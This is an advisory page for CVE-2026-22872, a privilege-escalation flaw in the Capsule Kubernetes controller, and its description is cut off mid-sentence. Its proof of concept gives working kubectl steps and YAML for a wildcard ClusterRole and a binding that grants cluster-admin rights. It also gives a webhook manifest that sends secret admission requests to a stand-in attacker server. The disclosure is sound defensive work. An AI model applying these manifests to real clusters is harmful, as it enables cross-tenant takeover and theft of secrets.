GitHub Advisoryadvisory · Go

GHSA-qjjm-7j9w-pw72 Capsule TenantResource RawItems Cluster-Scoped Resource Creation Vulnerability

MEDIUM Published 2026-05-28 Modified 2026-06-09 Official page ↗
Aliases
CVE-2026-22872
Ecosystem
Go
Packages
github.com/projectcapsule/capsule
Severity
Moderate
CVSS vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N/E:P
Weaknesses
CWE-20, CWE-863
Reviewed
2026-05-28

Affected packages

• Go github.com/projectcapsule/capsule: < 0.13.0 → fixed in 0.13.0

Description

TenantResource RawItems Cluster-Scoped Resource Creation Vulnerability Summary The Capsule Controller runs with cluster-admin privileges. Although the TenantResource RawItems processing logic forcibly sets the namespace, this is ineffective for cluster-scoped resources. Tenant administrators can leverage the Controller's elevated privileges to create cluster-scoped resources (such as ClusterRole and ValidatingWebhookConfiguration) that they cannot create directly, achieving cross-tenant privilege escalation and cluster-level attacks. --- Details Vulnerability Location File: `internal/controllers/resources/processor.go` Function: `HandleSection()` Lines: 247-285 Core Issues 1. Excessive Controller Privileges: The Controller's ServiceAccount is bound to the cluster-admin ClusterRole ```yaml # ClusterRoleBinding: capsule-manager-rolebinding roleRef: kind: ClusterRole name: cluster-admin ``` 2. Missing Resource Scope Validation: Although the code calls `obj.SetNamespace(ns.Name)`, this is ineffective for cluster-scoped resources (ClusterRole, ValidatingWebhookConfiguration, etc.), as the Kubernetes API ignores this field 3. Missing Resource Type Validation: No check for whether resources are cluster-scoped Vulnerable Code Analysis ```go // internal/controllers/resources/processor.go for rawIndex, item := range spec.RawItems { template := string(item.Raw) t := fasttemplate.New(template, "{{ ", " }}") tmplString := t.ExecuteString(map[string]interface{}{ "tenant.name": tnt.Name, "namespace": ns.Name, }) obj, keysAndValues := unstructured.Unstructured{}, []interface{}{"index", rawIndex} // Issue 1: Accepts any resource type, including cluster-scoped resources if _, _, decodeErr := codecFactory.UniversalDeserializer().Decode( []byte(tmplString), nil, &obj); decodeErr != nil { log.Error(decodeErr, "unable to deserialize rawItem", keysAndValues...) syncErr = errors.Join(syncErr, decodeErr) continue } // Issue 2: For cluster-scoped resources, this setting is ignored by API obj.SetNamespace(ns.Name) // Issue 3: Controller creates with cluster-admin privileges, no scope check if rawErr := r.createOrUpdate(ctx, &obj, objLabels, objAnnotations); rawErr != nil { log.Info("unable to sync rawItem", keysAndValues...) syncErr = errors.Join(syncErr, rawErr) } } ``` Attack Chain ``` Tenant Owner (bob) - Has TenantResource creation permission ↓ Creates TenantResource containing cluster-scoped resources ↓ Capsule Controller (cluster-admin) processes RawItems ↓ obj.SetNamespace() ignored by Kubernetes API (cluster-scoped resources have no namespace) ↓ Successfully creates cluster-scoped resources (ClusterRole, ValidatingWebhook, etc.) ↓ Cross-tenant privilege escalation / Cluster-level attacks ``` --- PoC Environment Setup Test Environment: Kubernetes 1.27+ cluster (verified using Kind cluster) Step 1: Verify Capsule Controller Privileges ```bash kubectl get clusterrolebinding capsule-manager-rolebinding -o yaml ``` Confirm output contains: ```yaml roleRef: kind: ClusterRole name: cluster-admin # Controller has full cluster management privileges ``` Step 2: Install Capsule and Create Test Tenant Complete Capsule installation and tenant creation following previous environment setup steps. Step 3: Verify bob's Permission Restrictions Verify bob can create TenantResource: ```bash kubectl auth can-i create tenantresources --as bob --as-group projectcapsule.dev -n tenant-b-ns1 ``` Actual output: ``` yes ``` Verify bob cannot create ClusterRole: ```bash kubectl auth can-i create clusterroles --as bob --as-group projectcapsule.dev ``` Actual output: ``` Warning: resource 'clusterroles' is not namespace scoped in group 'rbac.authorization.k8s.io' no ``` Verify bob cannot create ValidatingWebhook: ```bash kubectl auth can-i create validatingwebhookconfigurations --as bob --as-group projectcapsule.dev ``` Actual output: ``` Warning: resource 'validatingwebhookconfigurations' is not namespace scoped in group 'admissionregistration.k8s.io' no ``` Attack Vector 1: Creating Malicious ClusterRole Step 4: Create TenantResource Containing ClusterRole Create file `attack-clusterrole.yaml`: ```yaml apiVersion: capsule.clastix.io/v1beta2 kind: TenantResource metadata: name: create-clusterrole namespace: tenant-b-ns1 spec: resyncPeriod: 60s resources: • namespaceSelector: matchLabels: capsule.clastix.io/tenant: tenant-b rawItems: • apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRole metadata: name: malicious-clusterrole rules: • apiGroups: ["*"] resources: ["*"] verbs: ["*"] ``` Apply configuration as bob user (critical - must specify executor): ```bash kubectl apply -f attack-clusterrole.yaml --as bob --as-group projectcapsule.dev ``` Actual output: ``` tenantresource.capsule.clastix.io/create-clusterrole created ``` Important: The `--as bob --as-group projectcapsule.dev` parameters are crucial for proving that bob (not the cluster admin) is executing this attack. Step 5: Verify ClusterRole Creation ```bash kubectl get clusterrole malicious-clusterrole ``` Actual output: ``` NAME CREATED AT malicious-clusterrole 2026-01-05T16:10:02Z ``` View details: ```bash kubectl get clusterrole malicious-clusterrole -o yaml ``` Key output: ```yaml apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRole metadata: annotations: capsule.clastix.io/tenant: tenant-b name: malicious-clusterrole rules: • apiGroups: ["*"] resources: ["*"] verbs: ["*"] ``` Verification Successful: bob cannot directly create ClusterRole, but successfully created a cluster-scoped ClusterRole with all permissions through TenantResource. Step 6: Exploit ClusterRole for Cross-Tenant Attack Now bob can create a ClusterRoleBinding binding this ClusterRole to gain cluster-level privileges: ```yaml apiVersion: rbac.authorization.k8s.io/v1 kind: ClusterRoleBinding metadata: name: bob-cluster-admin subjects: • kind: User name: bob apiGroup: rbac.authorization.k8s.io roleRef: kind: ClusterRole name: malicious-clusterrole apiGroup: rbac.authorization.k8s.io ``` After applying, bob will have full cluster management privileges and can access resources of all tenants. Attack Vector 2: Creating Malicious ValidatingWebhook Step 7: Create TenantResource Containing Webhook Create file `attack-webhook.yaml`: ```yaml apiVersion: capsule.clastix.io/v1beta2 kind: TenantResource metadata: name: create-webhook namespace: tenant-b-ns1 spec: resyncPeriod: 60s resources: • namespaceSelector: matchLabels: capsule.clastix.io/tenant: tenant-b rawItems: • apiVersion: admissionregistration.k8s.io/v1 kind: ValidatingWebhookConfiguration metadata: name: malicious-webhook webhooks: • name: malicious.webhook.com clientConfig: url: "https://attacker-controlled-server.com/webhook" rules: • operations: ["CREATE", "UPDATE"] apiGroups: [""] apiVersions: ["v1"] resources: ["secrets"] admissionReviewVersions: ["v1"] sideEffects: None failurePolicy: Ignore ``` Apply configuration as bob user: ```bash kubectl apply -f attack-webhook.yaml --as bob --as-group projectcapsule.dev ``` Actual output: ``` tenantresource.capsule.clastix.io/create-webhook created ``` Step 8: Verify Webhook Creation ```bash kubectl get validatingwebhookconfiguration malicious-webhook ``` Actual output: ``` NAME WEBHOOKS AGE malicious-webhook 1 5s ``` Verification Successful: bob cannot directly create Webhook, but successfu…

Related

Alias · CVE (1)

  • CVE-2026-22872 Capsule is a multi-tenancy and policy-based framework for Kubernetes. vulnerability

Weakness · CWE (2)

  • CWE-20 Improper Input Validation weakness
  • CWE-863 Incorrect Authorization weakness

References